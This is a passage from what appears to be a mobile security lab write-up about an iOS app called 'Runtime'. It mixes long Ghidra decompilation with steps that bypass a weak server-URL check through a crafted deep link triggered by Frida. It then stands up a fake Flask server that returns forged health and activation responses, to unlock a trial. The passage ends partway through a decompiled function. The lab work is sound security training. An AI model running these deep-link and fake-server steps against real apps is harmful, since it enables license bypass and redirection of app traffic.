  local_40 = param_2;
  _swift_errorRetain();
  if (param_4 == 0) {
    _objc_retain(param_3);
    if (param_3 == 0) {
      local_1c0 = 0;
    }
    else {
      puVar4 = &_OBJC_CLASS_$_NSHTTPURLResponse;
      _objc_opt_self(&_OBJC_CLASS_$_NSHTTPURLResponse);
      local_1d8 = param_3;
      _swift_dynamicCastObjCClass(param_3,puVar4);
      if (local_1d8 == 0) {
        _objc_release(param_3);
        local_1d8 = 0;
      }
      local_1c0 = local_1d8;
    }
    if (local_1c0 == 0) {
      SVar13 = Swift::String::init("Unexpected response from server",0x1f,1);
      dVar12 = (double)Runtime::$showToast();
      local_200 = SVar13.str;
      local_1f8 = SVar13.bridgeObject;
      Runtime::showToast(dVar12,local_200,(long)local_1f8,param_5);
      _swift_bridgeObjectRelease(local_1f8);
    }
    else {
      local_d8 = local_1c0;
      lVar6 = local_1c0;
      _objc_msgSend(local_1c0,"statusCode");
      if (lVar6 == 200) {
        $outlined_copy(param_1.unknown,param_2);
        if ((param_2 & 0xf000000000000000) == 0xf000000000000000) {
          SVar13 = Swift::String::init("Malformed response from server",0x1e,1);
          dVar12 = (double)Runtime::$showToast();
          local_228 = SVar13.str;
          local_220 = SVar13.bridgeObject;
          Runtime::showToast(dVar12,local_228,(long)local_220,param_5);
          _swift_bridgeObjectRelease(local_220);
          _objc_release(local_1c0);
        }
        else {
          local_60 = 0;
          puVar4 = &_OBJC_CLASS_$_NSJSONSerialization;
          local_58 = param_1.unknown;
          local_50 = param_2;
          _objc_opt_self();
          outlined_copy(param_1.unknown,param_2);
          pNVar5 = Foundation::Data::_bridgeToObjectiveC(param_1);
          outlined_consume(param_1.unknown,param_2);
          __C::NSJSONReadingOptions::typeMetadataAccessor(0);
          Swift::$_allocateUninitializedArray(0);
          __C::NSJSONReadingOptions::$lazy_protocol_witness_table_accessor();
          (extension_Swift)::Swift::SetAlgebra::$init();
          local_e8 = local_60;
          _objc_msgSend(puVar4,"JSONObjectWithData:options:error:",pNVar5,local_e0,&local_e8);
          _objc_retainAutoreleasedReturnValue();
          uVar2 = local_e8;
          _objc_retain();
          uVar9 = local_60;
          local_60 = uVar2;
          _objc_release(uVar9);
          _objc_release(pNVar5);
          uVar2 = local_60;
          if (puVar4 == (undefined *)0x0) {
            uVar9 = local_60;
            Foundation::$_convertNSErrorToError();
            _objc_release(uVar2);
            _swift_willThrow();
            _swift_errorRetain(uVar9);
            local_f0 = uVar9;
            SVar13 = Swift::String::init("Malformed response from server",0x1e,1);
            dVar12 = (double)Runtime::$showToast();
            local_368 = SVar13.str;
            local_360 = SVar13.bridgeObject;
            Runtime::showToast(dVar12,local_368,(long)local_360,param_5);
            _swift_bridgeObjectRelease(local_360);
            _swift_errorRelease(uVar9);
            _swift_errorRelease(uVar9);
          }
          else {
            Swift::$_bridgeAnyObjectToAny();
            lVar6 = ___swift_instantiateConcreteTypeFromMangledName
                              ((long *)&
                                       $$demangling_cache_variable_for_type_metadata_for_[Swift.Stri ng_:_Any]
                              );
            plVar7 = &local_f8;
            _swift_dynamicCast(plVar7,auStack_80,puVar1,lVar6,6);
            if (((ulong)plVar7 & 1) == 0) {
              local_288 = 0;
            }
            else {
              local_288 = local_f8;
            }
            if (local_288 == 0) {
              _swift_unknownObjectRelease(puVar4);
              SVar13 = Swift::String::init("Malformed response from server",0x1e,1);
              dVar12 = (double)Runtime::$showToast();
              local_2a8 = SVar13.str;
              local_2a0 = SVar13.bridgeObject;
              Runtime::showToast(dVar12,local_2a8,(long)local_2a0,param_5);
              _swift_bridgeObjectRelease(local_2a0);
            }
            else {
              local_100 = local_288;
              _swift_unknownObjectRelease(puVar4);
              local_110 = Swift::String::init("status",6,1);
              pcVar10 =
              PTR_$$protocol_witness_table_for_Swift.String_:_Swift.Hashable_in_Swift_100024600;
              Swift::Dictionary::$get_subscript
                        (auStack_a0,&local_110,local_288,
                         PTR_$$type_metadata_for_Swift.String_100024408,puVar1);
              $$outlined_destroy_of_Swift.String((long)&local_110);
              if (local_88 == 0) {
                $$outlined_destroy_of_Any?(auStack_a0);
                local_2c8 = (char *)0x0;
                local_2c0 = (void *)0x0;
              }
              else {
                ppcVar8 = &local_130;
                pcVar10 = (char *)0x6;
                _swift_dynamicCast(ppcVar8,auStack_a0,puVar1,
                                   PTR_$$type_metadata_for_Swift.String_100024408);
                if (((ulong)ppcVar8 & 1) == 0) {
                  local_2e0 = (char *)0x0;
                  local_2d8 = (void *)0x0;
                }
                else {
                  local_2e0 = local_130;
                  local_2d8 = local_128;
                }
                local_2c8 = local_2e0;
                local_2c0 = local_2d8;
              }
              if (local_2c0 == (void *)0x0) {
                SVar13 = Swift::String::init("Invalid response from server",0x1c,1);
                dVar12 = (double)Runtime::$showToast();
                local_310 = SVar13.str;
                local_308 = SVar13.bridgeObject;
                Runtime::showToast(dVar12,local_310,(long)local_308,param_5);
                _swift_bridgeObjectRelease(local_308);
                _swift_bridgeObjectRelease(local_288);
                outlined_consume(param_1.unknown,param_2);
                _objc_release(local_1c0);
                goto LAB_1000084b0;
              }
              local_120 = local_2c8;
              local_118 = local_2c0;
              SVar14 = Swift::String::init("healthy",7,1);
              _swift_bridgeObjectRetain();
              SVar13.bridgeObject = local_2c0;
              SVar13.str = local_2c8;
              SVar15.bridgeObject = puVar11;
              SVar15.str = pcVar10;
              bVar3 = Swift::String::==_infix(SVar13,SVar14,SVar15);
              local_320 = SVar14.bridgeObject;
              _swift_bridgeObjectRelease(local_320);
              _swift_bridgeObjectRelease(local_320);
              if (bVar3) {
                (**(code **)((*param_6 & *(ulong *)PTR__swift_isaMask_100024630) + 0x88))
                          (param_7,param_8);
              }
              else {
                SVar13 = Swift::String::init("Server not healthy",0x12,1);
                dVar12 = (double)Runtime::$showToast();
                local_340 = SVar13.str;
                local_338 = SVar13.bridgeObject;
                Runtime::showToast(dVar12,local_340,(long)local_338,param_5);
                _swift_bridgeObjectRelease(local_338);
              }
              _swift_bridgeObjectRelease(local_2c0);
              _swift_bridgeObjectRelease(local_288);
            }
          }
          outlined_consume(param_1.unknown,param_2);
          _objc_release(local_1c0);
        }
      }
      else {
        SVar13 = Swift::String::init("Unexpected response from server",0x1f,1);
        dVar12 = (double)Runtime::$showToast();
        local_350 = SVar13.str;
        local_348 = SVar13.bridgeObject;
        Runtime::showToast(dVar12,local_350,(long)local_348,param_5);
        _swift_bridgeObjectRelease(local_348);
        _objc_release(local_1c0);
      }
    }
  }
  else {
    SVar13 = Swift::String::init("Cannot connect to the host",0x1a,1);
    dVar12 = (double)Runtime::$showToast();
    local_1b8 = SVar13.str;
    local_1b0 = SVar13.bridgeObject;
    Runtime::showToast(dVar12,local_1b8,(long)local_1b0,param_5);
    _swift_bridgeObjectRelease(local_1b0);
    _swift_errorRelease(param_4);
  }
LAB_1000084b0:
  if (*(long *)PTR____stack_chk_guard_100024260 == local_38) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  ___stack_chk_fail();
}

This function executes an API call and checks the response for the following:

If any of these conditions are not met it will show the Malformed response from server error message.

Since the remote server does not return a JSON body the call will always fail and we won’t be able to activate the trial subscription.


Identify server bypass

Let’s backtrack a bit and check out the deep link we identified in the beginning.

It has a server parameter; are we able to change this? If so, what effect will it have on the application?

We can open deep links using this Frida script:

function openURL(url) {
  const UIApplication = ObjC.classes.UIApplication.sharedApplication();
  const toOpen = ObjC.classes.NSURL.URLWithString_(url);
  return UIApplication.openURL_(toOpen);
}

Let’s use this to launch the deeplink: runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD

openURL("runtime://starttrial?server=mhl.pages.dev/runtime&trialKey=1234-5678-ABCD");

This opens the subscribe screen and makes the health API call exactly the same as manually tapping on the Start Free Trial button.

What happens if we change the server value? Let’s use mobilehackinglab.com for the server value:

openURL("runtime://starttrial?server=mobilehackinglab.com/runtime&trialKey=1234-5678-ABCD");

The app now gives a different error: Invalid Server - if we search that in Ghidra we find it in the verifyLicense function:

  local_90 = Swift::String::init("mhl.pages.dev",0xd,1);
  local_150 = &local_90;
  pcVar5 = Swift::String::$lazy_protocol_witness_table_accessor();
  local_158 = pcVar5;
  bVar2 = (extension_Foundation)::Swift::StringProtocol::$contains
                    (local_150,local_160,local_160,pcVar5);
  local_144 = (uint)CONCAT71(extraout_var,bVar2);
  $$outlined_destroy_of_Swift.String((long)local_150);
  if ((local_144 & 1) == 0) {
    local_380 = Swift::String::init("Invalid Server",0xe,1);

It seems to be doing some validation to see if the server URL CONTAINS the string mhl.pages.dev.

This is good news for us since we can trick this validation with a URL such as example.com/mhl.pages.dev/ and it should pass validation.

Let’s test this by starting a web server on our local machine and trying to get the app to connect to it.

python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...

And then using the deep link: runtime://starttrial?server=<YOUR_IP>/mhl.pages.dev/runtime&trialKey=1234-5678-ABCD:

openURL("runtime://starttrial?server=192.168.2.5:80/mhl.pages.dev/runtime&trialKey=1234-5678-ABCD");

Even though we get the same error message as previously received, we can observe our web server logs and see there was a connection attempt.

::ffff:192.168.2.5 - - [31/Jul/2025 15:37:26] "GET /mhl.pages.dev/runtime/health HTTP/1.1" 404 -

We have successfully bypassed the server validation which means we can write our own custom server to mimic that of the production server.


Create malicious server

Writing a lightweight API is quite easy with Python; there are a lot of frameworks that make it trivial - for this example we are going to use Flask.

After setting it up we can create a very basic app to mimic the routes that the mobile app expects.

We already know that the mobile app expects a /health endpoint, which returns a JSON body that includes a status key with the value healthy

from flask import Flask, send_file

app = Flask(__name__)

@app.route("/mhl.pages.dev/runtime/health")
def health():
    return {"status": "healthy"}

Which we can start up with a custom host and port:

flask --app=fake_server run --host=0.0.0.0 --port=80
 * Serving Flask app 'fake_server'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:80
 * Running on http://192.168.2.5:80

We can test this by making a curl request to the server:

curl http://192.168.2.5:80/mhl.pages.dev/runtime/health
{"status":"healthy"}

And in the flask app logs we see:

192.168.2.5 - - [31/Jul/2025 15:50:26] "GET /mhl.pages.dev/runtime/health HTTP/1.1" 200 -

Great, now that we have a server up and running that returns the correct response as expected by the app, let’s execute our deep link to open the app and have it connect to our API.

openURL("runtime://starttrial?server=192.168.2.5:80/mhl.pages.dev/runtime&trialKey=1234-5678-ABCD");

We now get an Unexpected response from server error message which does not make sense.

Upon inspecting Burp, we see that the /health actually succeeded, and a NEW call was made to /activate and this is the actual call giving us the malformed response error message.

POST /mhl.pages.dev/runtime/activate HTTP/1.1
Host: 192.168.2.5:80
Connection: keep-alive
Accept: */*
User-Agent: Runtime/1 CFNetwork/3826.500.131 Darwin/24.5.0
Accept-Language: en-GB,en;q=0.9
Content-Length: 0
Accept-Encoding: gzip, deflate, br

---

HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.3 Python/3.13.5
Date: Thu, 31 Jul 2025 13:58:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

This is great news, it means we have discovered a new call that the app is making in the start trial process. Let’s investigate the source to see if we can find out anything about this new call.

One interesting function stands out: SubscribeController.activateServer which is also similar to the API all we are trying to debug /activate.

The following code snippet contains the closure that handles the response from the API call:


void $$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_Runtime.Subs cribeController.activateServer(server:_Swift.String)_->_()
               (undefined *param_1,ulong param_2,long param_3,long param_4,undefined8 param_5,
               ulong *param_6,undefined8 param_7,undefined8 param_8)

{
  bool bVar1;
  long lVar2;
  long lVar3;
  undefined *puVar4;
  long *plVar5;
  UUID UVar6;
  undefined1 *puVar7;
  undefined8 uVar8;
  ulong uVar9;
  long lVar10;
  ulong *puVar11;
  undefined8 uVar12;
  undefined8 uVar13;
  double dVar14;
  tuple2.conflict1 tVar15;
  undefined1 auStack_390 [16];
  undefined8 local_380;
  String local_378;
  undefined8 local_368;
  String local_360;
  String local_350;
  uint local_340;
  uint local_33c;
  long local_338;
  long local_330;
  String local_328;
  long local_318;
  long local_310;
  long local_308;
  long local_300;
  long local_2f8;
  long local_2f0;
  long local_2e8;
  long local_2e0;
  long local_2d8;
  long local_2d0;
  String *local_2c8;
  String local_2c0;
  long local_2b0;
  long local_2a8;
  long local_2a0;
  undefined *local_298;
  undefined1 *local_290;
  undefined *local_288;
  ulong local_280;
  Data local_278;
  long local_270;
  undefined8 local_268;
  undefined *local_260;
  undefined8 local_258;
  NSData *local_250;
  undefined *local_248;
  String local_240;
  undefined *local_230;
  ulong local_228;
  long local_220;
  String local_218;
  long local_208;
  long local_200;
  long local_1f8;
  long local_1f0;
  long local_1e8;
  long local_1e0;
  long local_1d8;
  String local_1d0;
  long local_1c0;
  long local_1b8;
  long local_1b0;
  undefined *local_1a8;
  undefined *local_1a0;
  ulong local_198;
  long local_190;
  undefined8 local_188;
  ulong *local_180;
  undefined8 local_178;
  undefined8 local_170;
  ulong local_168;
  long local_160;
  undefined1 *local_158;
  ulong local_150;
  undefined1 *local_148;
  long local_140;
  long local_138;
  long local_130;
  long local_128;
  long local_120;
  long local_118;
  String local_110;
  long local_100;
  long local_f8;
  undefined8 local_f0;
  undefined8 local_e8;
  undefined8 local_e0;
  long local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  ulong *local_c0;
  undefined8 local_b8;
  long local_b0;
  long local_a8;
  undefined8 auStack_a0 [3];
  long local_88;
  undefined1 auStack_80 [32];
  undefined8 local_60;
  undefined *local_58;
  ulong local_50;
  undefined8 local_48;
  ulong local_40;
  long local_38;

  local_1a8 = PTR_$$type_metadata_for_Any_1000246f8 + 8;
  local_38 = *(long *)PTR____stack_chk_guard_100024260;
  local_48 = 0;
  local_40 = 0;
  local_a8 = 0;
  local_b0 = 0;
  local_b8 = 0;
  local_c0 = (ulong *)0x0;
  local_d0 = 0;
  local_c8 = 0;
  local_d8 = 0;
  local_58 = (undefined *)0x0;
  local_50 = 0;
  local_f0 = 0;
  local_100 = 0;
  local_120 = 0;
  local_118 = 0;
  local_138 = 0;
  local_1a0 = param_1;
  local_198 = param_2;
  local_190 = param_3;
  local_188 = param_5;
  local_180 = param_6;
  local_178 = param_7;
  local_170 = param_8;
  local_140 = param_4;
  lVar2 = ___swift_instantiateConcreteTypeFromMangledName
                    ((long *)&$$demangling_cache_variable_for_type_metadata_for_Foundation.UUID?);
  local_160 = *(long *)(*(long *)(lVar2 + -8) + 0x40);
  local_168 = local_160 + 0xfU & 0xfffffffffffffff0;
  lVar3 = local_140;
  uVar9 = local_198;
  lVar10 = local_190;
  uVar8 = local_188;
  puVar11 = local_180;
  uVar12 = local_178;
  uVar13 = local_170;
  (*(code *)PTR____chkstk_darwin_100024208)(local_1a0);
  lVar2 = -local_168;
  local_150 = local_160 + 0xfU & 0xfffffffffffffff0;
  local_158 = auStack_390 + lVar2;
  (*(code *)PTR____chkstk_darwin_100024208)();
  local_148 = auStack_390 + lVar2 + -local_150;
  local_d0 = uVar12;
  local_c8 = uVar13;
  local_c0 = puVar11;
  local_b8 = uVar8;
  local_b0 = lVar3;
  local_a8 = lVar10;
  local_40 = uVar9;
  _swift_errorRetain();
  if (local_140 == 0) {
    _objc_retain(local_190);
    if (local_190 == 0) {
      local_1d8 = 0;
    }
    else {
      local_1b8 = local_190;
      local_1e8 = local_190;
      puVar4 = &_OBJC_CLASS_$_NSHTTPURLResponse;
      _objc_opt_self(&_OBJC_CLASS_$_NSHTTPURLResponse);
      lVar2 = local_1e8;
      _swift_dynamicCastObjCClass(local_1e8,puVar4);
      local_1f0 = lVar2;
      local_1e0 = lVar2;
      if (lVar2 == 0) {
        local_1f8 = 0;
        _objc_release(local_1e8);
        local_1f0 = local_1f8;
      }
      local_1d8 = local_1f0;
    }
    local_200 = local_1d8;
    if (local_1d8 == 0) {
      local_218 = Swift::String::init("Unexpected response from server",0x1f,1);
      dVar14 = (double)Runtime::$showToast();
      Runtime::showToast(dVar14,local_218.str,(long)local_218.bridgeObject,local_188);
      _swift_bridgeObjectRelease(local_218.bridgeObject);
    }
    else {
      local_208 = local_1d8;
      local_220 = local_1d8;
      local_d8 = local_1d8;
      lVar2 = local_1d8;
      _objc_msgSend(local_1d8,"statusCode");
      if (lVar2 == 200) {
        $outlined_copy(local_1a0,local_198);
        if ((local_198 & 0xf000000000000000) == 0xf000000000000000) {
          local_240 = Swift::String::init("Malformed response from server",0x1e,1);
          dVar14 = (double)Runtime::$showToast();
          Runtime::showToast(dVar14,local_240.str,(long)local_240.bridgeObject,local_188);
          _swift_bridgeObjectRelease(local_240.bridgeObject);
          _objc_release(local_220);
        }
        else {
          local_230 = local_1a0;
          local_228 = local_198;
          local_280 = local_198;
          local_278.unknown = local_1a0;
          local_58 = local_1a0;
          local_50 = local_198;
          local_270 = 0;
          local_60 = 0;
          puVar4 = &_OBJC_CLASS_$_NSJSONSerialization;
          _objc_opt_self();
          local_260 = puVar4;
          outlined_copy(local_278.unknown,local_280);
          local_250 = Foundation::Data::_bridgeToObjectiveC(local_278);
          outlined_consume(local_278.unknown,local_280);
          __C::NSJSONReadingOptions::typeMetadataAccessor(local_270);
          tVar15 = Swift::$_allocateUninitializedArray((__int16)local_270);
          local_268 = tVar15._0_8_;
          __C::NSJSONReadingOptions::$lazy_protocol_witness_table_accessor();
          (extension_Swift)::Swift::SetAlgebra::$init();
          local_e8 = local_60;
          puVar4 = local_260;
          _objc_msgSend(local_260,"JSONObjectWithData:options:error:",local_250,local_e0,&local_e8);
          _objc_retainAutoreleasedReturnValue();
          local_258 = local_e8;
          local_248 = puVar4;
          _objc_retain();
          uVar8 = local_60;
          local_60 = local_258;
          _objc_release(uVar8);
          _objc_release(local_250);
          if (local_248 == (undefined *)0x0) {
            local_380 = local_60;
            uVar8 = local_60;
            Foundation::$_convertNSErrorToError();
            local_368 = uVar8;
            _objc_release(local_380);
            _swift_willThrow();
            _swift_errorRetain(local_368);
            local_f0 = local_368;
            local_378 = Swift::String::init("Malformed response from server",0x1e,1);
            dVar14 = (double)Runtime::$showToast();
            Runtime::showToast(dVar14,local_378.str,(long)local_378.bridgeObject,local_188);
            _swift_bridgeObjectRelease(local_378.bridgeObject);
            _swift_errorRelease(local_368);
            _swift_errorRelease(local_368);
          }
          else {
            local_288 = local_248;
            local_298 = local_248;
            local_290 = auStack_80;
            Swift::$_bridgeAnyObjectToAny();
            lVar2 = ___swift_instantiateConcreteTypeFromMangledName
                              ((long *)&
                                       $$demangling_cache_variable_for_type_metadata_for_[Swift.Stri ng_:_Any]
                              );
            plVar5 = &local_f8;
            _swift_dynamicCast(plVar5,local_290,local_1a8,lVar2,6);
            if (((ulong)plVar5 & 1) == 0) {
              local_2a0 = 0;
            }
            else {
              local_2a0 = local_f8;
            }
            local_2a8 = local_2a0;
            if (local_2a0 == 0) {
              _swift_unknownObjectRelease(local_298);
              local_2c0 = Swift::String::init("Malformed response from server",0x1e,1);
              dVar14 = (double)Runtime::$showToast();
              Runtime::showToast(dVar14,local_2c0.str,(long)local_2c0.bridgeObject,local_188);
              _swift_bridgeObjectRelease(local_2c0.bridgeObject);
            }
            else {
              local_2b0 = local_2a0;
              local_2d0 = local_2a0;
              local_100 = local_2a0;
              _swift_unknownObjectRelease(local_298);
              local_110 = Swift::String::init("token",5,1);
              local_2c8 = &local_110;
              Swift::Dictionary::$get_subscript
                        (auStack_a0,local_2c8,local_2d0,
                         PTR_$$type_metadata_for_Swift.String_100024408,local_1a8,
                         PTR_$$protocol_witness_table_for_Swift.String_:_Swift.Hashable_in_Swift_100 024600
                        );
              $$outlined_destroy_of_Swift.String((long)local_2c8);
              if (local_88 == 0) {
                local_2e8 = 0;
                $$outlined_destroy_of_Any?(auStack_a0);
                local_2e0 = local_2e8;
                local_2d8 = local_2e8;
              }
              else {
                plVar5 = &local_130;
                _swift_dynamicCast(plVar5,auStack_a0,local_1a8,
                                   PTR_$$type_metadata_for_Swift.String_100024408,6);
                if (((ulong)plVar5 & 1) == 0) {
                  local_2f8 = 0;
                  local_2f0 = 0;
                }
                else {
                  local_2f8 = local_130;
                  local_2f0 = local_128;
                }
                local_2e0 = local_2f8;
                local_2d8 = local_2f0;
              }
              local_308 = local_2d8;
              local_300 = local_2e0;
              if (local_2d8 == 0) {
                local_328 = Swift::String::init("Invalid response from server",0x1c,1);
                dVar14 = (double)Runtime::$showToast();
                Runtime::showToast(dVar14,local_328.str,(long)local_328.bridgeObject,local_188);
                _swift_bridgeObjectRelease(local_328.bridgeObject);
                _swift_bridgeObjectRelease(local_2d0);
                outlined_consume(local_278.unknown,local_280);
                _objc_release(local_220);
                goto LAB_100009650;
              }
              local_318 = local_2e0;
              local_310 = local_2d8;
              local_338 = local_2d8;
              local_330 = local_2e0;
              local_120 = local_2e0;
              local_118 = local_2d8;
              Foundation::UUID::$init();
              $$outlined_init_with_copy_of_Foundation.UUID?(local_148,local_158);
              UVar6 = Foundation::UUID::typeMetadataAccessor();
              puVar7 = local_158;
              (**(code **)(*(long *)(UVar6.unknown + -8) + 0x30))(local_158,1);
              bVar1 = (int)puVar7 == 1;
              if (!bVar1) {
                $$outlined_destroy_of_Foundation.UUID?(local_158);
              }
              local_33c = (uint)bVar1;
              local_340 = local_33c;
              $$outlined_destroy_of_Foundation.UUID?(local_148);
              if ((local_340 & 1) == 0) {
                (**(code **)((*local_180 & *(ulong *)PTR__swift_isaMask_100024630) + 0x90))
                          (local_178,local_170,local_330,local_338);
              }
              else {
                local_350 = Swift::String::init("Invalid token format",0x14,1);
                dVar14 = (double)Runtime::$showToast();
                Runtime::showToast(dVar14,local_350.str,(long)local_350.bridgeObject,local_188);
                _swift_bridgeObjectRelease(local_350.bridgeObject);
              }
              _swift_bridgeObjectRelease(local_338);
              _swift_bridgeObjectRelease(local_2d0);
            }
          }
          outlined_consume(local_278.unknown,local_280);
          _objc_release(local_220);
        }
      }
      else {
        local_360 = Swift::String::init("Unexpected response from server",0x1f,1);
        dVar14 = (double)Runtime::$showToast();
        Runtime::showToast(dVar14,local_360.str,(long)local_360.bridgeObject,local_188);
        _swift_bridgeObjectRelease(local_360.bridgeObject);
        _objc_release(local_220);
      }
    }
  }
  else {
    local_1b0 = local_140;
    local_1c0 = local_140;
    local_138 = local_140;
    local_1d0 = Swift::String::init("Cannot connect to host for activation",0x25,1);
    dVar14 = (double)Runtime::$showToast();
    Runtime::showToast(dVar14,local_1d0.str,(long)local_1d0.bridgeObject,local_188);
    _swift_bridgeObjectRelease(local_1d0.bridgeObject);
    _swift_errorRelease(local_1c0);
  }
LAB_100009650:
  if (*(long *)PTR____stack_chk_guard_100024260 == local_38) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  ___stack_chk_fail();
}

This call checks a few things:

With that information, we can now update our Python server:

@app.route("/mhl.pages.dev/runtime/activate", methods=["POST"])
def activate():
    return {}
    return {"token": "59C23ACC-2163-4375-BCF4-9C21C3E0C89C"}

And then open the app again with our deep link:

openURL("runtime://starttrial?server=192.168.2.5:80/mhl.pages.dev/runtime&trialKey=1234-5678-ABCD");

That worked, and it returned a new error, which means it probably made a new call! Let’s check Burp:

GET /mhl.pages.dev/runtime/download HTTP/1.1
Host: 192.168.2.5:80
Accept: */*
If-None-Match: "1753904117.2451887-85664-2831620622"
X-API-Key: 59C23ACC-2163-4375-BCF4-9C21C3E0C89C
If-Modified-Since: Wed, 30 Jul 2025 19:35:17 GMT
Accept-Language: en-GB,en;q=0.9
User-Agent: Runtime/1 CFNetwork/3826.500.131 Darwin/24.5.0
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

---

HTTP/1.1 404 NOT FOUND
Server: Werkzeug/3.1.3 Python/3.13.5
Date: Thu, 31 Jul 2025 14:11:45 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 207
Connection: close

<!doctype html>
<html lang=en>
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

The error message was Unexpected response from server (bad download path)

As always, we search the source and see if we can track it down.


/* WARNING: Removing unreachable block (ram,0x00010000b108) */
/* WARNING: Removing unreachable block (ram,0x00010000b370) */
/* WARNING: Removing unreachable block (ram,0x00010000b020) */
/* WARNING: Removing unreachable block (ram,0x00010000ad80) */
/* WARNING: Heritage AFTER dead removal. Example location: x0 : 0x00010000a3f4 */
/* WARNING: Restarted to delay deadcode elimination for space: register */

void $$closure_#1_@Sendable_(Foundation.Data?,__C.NSURLResponse?,Swift.Error?)_->_()_in_Runtime.Subs cribeController.getLicenseFile(server:_Swift.String,withToken:_Swift.String)_->_()
               (undefined *param_1,ulong param_2,long param_3,long param_4,undefined8 param_5,
               void *param_6)

{
  bool bVar1;
  long lVar2;
  long lVar3;
  undefined *puVar4;
  Dictionary<> DVar5;
  long *plVar6;
  NSDataWritingOptions options;
  ContiguousArray<__int8> CVar7;
  code *pcVar8;
  ulong uVar9;
  __int64 _Var10;
  long lVar11;
  URL UVar12;
  DefaultStringInterpolation DVar13;
  undefined8 uVar14;
  char *pcVar15;
  double dVar16;
  String SVar17;
  String SVar18;
  tuple2.conflict1 tVar19;
  String SVar20;
  String SVar21;
  String separator;
  String separator_00;
  String SVar22;
  long local_870;
  long local_868;
  long local_860;
  long local_858;
  long local_850;
  long local_848;
  String local_840;
  long local_830;
  String local_828;
  String local_818;
  __int64 local_808;
  undefined8 local_800;
  void *local_7f8;
  UnsafePointer<__int8> local_7f0;
  String *local_7e8;
  uint local_7dc;
  void *local_7d8;
  undefined **local_7d0;
  __int64 local_7c8;
  DefaultStringInterpolation local_7c0;
  String *local_7b8;
  undefined8 local_7b0;
  char *local_7a8;
  void *local_7a0;
  char *local_798;
  char *local_790;
  String *local_788;
  undefined8 local_780;
  char *local_778;
  void *local_770;
  char *local_768;
  char *local_760;
  undefined *local_758;
  undefined *local_750;
  uint local_744;
  undefined *local_740;
  undefined8 local_738;
  undefined *local_730;
  undefined *local_728;
  undefined8 local_720;
  undefined8 local_718;
  undefined *local_710;
  undefined *local_708;
  undefined8 local_700;
  undefined8 local_6f8;
  undefined *local_6f0;
  undefined *local_6e8;
  undefined8 local_6e0;
  String local_6d8;
  String local_6c8;
  String local_6b8;
  uint local_6a4;
  undefined *local_6a0;
  undefined8 local_698;
  long local_690;
  code *local_688;
  undefined8 local_680;
  undefined8 local_678;
  long local_670;
  long local_668;
  undefined8 local_660;
  undefined8 local_658;
  long local_650;
  long local_648;
  undefined8 local_640;
  code *local_638;
  void *local_630;
  undefined *local_628;
  long local_620;
  String local_618;
  undefined *local_608;
  undefined *local_600;
  undefined *local_5f8;
  undefined8 local_5f0;
  code *local_5e8;
  code *local_5e0;
  code *local_5d8;
  undefined8 local_5d0;
  undefined8 local_5c8;
  code *local_5c0;
  code *local_5b8;
  undefined8 local_5b0;
  undefined8 local_5a8;
  code *local_5a0;
  code *local_598;
  undefined8 local_590;
  String local_588;
  undefined *local_578;
  code *local_570;
  long local_560;
  long local_558;
  NSURL *local_550;
  uint local_544;
  void *local_540;
  NSString *local_538;
  uint local_52c;
  long local_528;
  NSURL *local_520;
  uint local_514;
  void *local_510;
  code *local_508;
  code *local_500;
  void *local_4f8;
  undefined *local_4f0;
  NSString *local_4e8;
  uint local_4dc;
  String local_4d8;
  ulong local_4c8;
  Data local_4c0;
  undefined *local_4b8;
  undefined *local_4b0;
  undefined *local_4a8;
  long local_4a0;
  undefined **local_498;
  undefined *local_490;
  ulong local_488;
  String local_480;
  undefined *local_470;
  long local_468;
  long *local_460;
  undefined8 *local_458;
  uint local_450;
  uint local_44c;
  char *local_448;
  char *local_440;
  void *local_438;
  void *local_430;
  long *local_428;
  uint local_420;
  uint local_41c;
  char *local_418;
  long local_410;
  long local_408;
  void *local_400;
  long local_3f8;
  long local_3f0;
  long local_3e8;
  long local_3e0;
  long local_3d8;
  long local_3d0;
  long local_3c8;
  long local_3c0;
  long local_3b8;
  undefined8 *local_3b0;
  undefined *local_3a8;
  char *local_3a0;
  undefined *local_398;
  long local_390;
  long local_388;
  long local_380;
  long local_378;
  long local_370;
  long local_368;
  long local_360;
  long local_358;
  String local_350;
  long local_340;
  long local_338;
  long local_330;
  long local_328;
  long local_320;
  long local_318;
  long local_310;
  long local_308;
  String local_300;
  long local_2f0;
  long local_2e8;
  long local_2e0;
  undefined *local_2d8;
  undefined *local_2d0;
  char *local_2c8;
  char *local_2c0;
  char *local_2b8;
  char *local_2b0;
  long local_2a8;
  ulong local_2a0;
  long local_298;
  undefined *local_290;
  long local_288;
  undefined8 local_280;
  ulong local_278;
  undefined *local_270;
  long local_268;
  ulong local_260;
  undefined *local_258;
  ulong local_250;
  undefined *local_248;
  ulong local_240;
  undefined *local_238;
  ulong local_230;
  long local_228;
  URL local_220;
  ulong local_218;
  long local_210;
  long local_208;
  long local_200;
  undefined *local_1f8;
  code *local_1f0;
  long local_1e8;
  long local_1e0;
  long local_1d8;
  long local_1d0;
  long local_1c8;
  long local_1c0;
  code *local_1b8;
  code *local_1b0;
  code *local_1a8;
  String local_1a0;
  undefined *local_190;
  __int64 local_188;
  undefined *local_180;
  long local_178;
  undefined *local_170;
  undefined *local_168;
  long local_160;
  undefined8 local_158;
  String local_150;
  long local_140;
  undefined8 local_138;
  long local_130;
  long local_128;
  long local_120;
  undefined *local_118;
  char *local_110;
  void *local_108;
  long local_100;
  long local_f8;
  code *local_f0;
  code *local_e8;
  undefined8 local_e0;
  undefined *local_d8;
  undefined8 local_d0;
  undefined8 local_c8;
  undefined *local_c0;
  ulong local_b8;
  long local_b0;
  long local_a8;
  char *local_a0;
  void *local_98;
